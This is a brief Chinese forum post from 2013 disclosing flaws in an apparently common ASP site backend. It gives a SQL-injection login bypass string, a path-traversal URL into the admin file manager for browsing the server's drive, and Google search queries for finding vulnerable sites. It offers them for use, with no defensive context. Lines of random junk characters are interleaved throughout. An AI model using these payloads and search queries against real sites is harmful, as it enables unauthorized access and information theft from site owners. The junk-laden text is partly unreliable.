后台万能密码 'or'='or'
: X& |4 a( S. f. s* L3 y: O8 ~( [* ^4 C- A& V3 q
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
n% m) {( {9 kadmin/uploadfile.asp?currentFolder=/upfiles/../
: j' Y0 Q$ H$ J1 Q" I4 M7 Q: q; }2 q) o. F( ?5 ^
漏洞证明：
1 I) O4 F1 j! i: c9 z( U3 E2 h7 X
2 n# g7 B! h$ R( c谷歌：inurl:type.asp?id=1 新闻中心( D- a& @8 _3 J f& J2 f- o! \! o
或者 ：inurl:download_ok.asp?
+ O. C2 X4 D' C, I, X4 J2 m; L3 A% O( K# I0 {& _" H' s
|
发表于 2013-3-14 20:17:32
收藏
支持
反对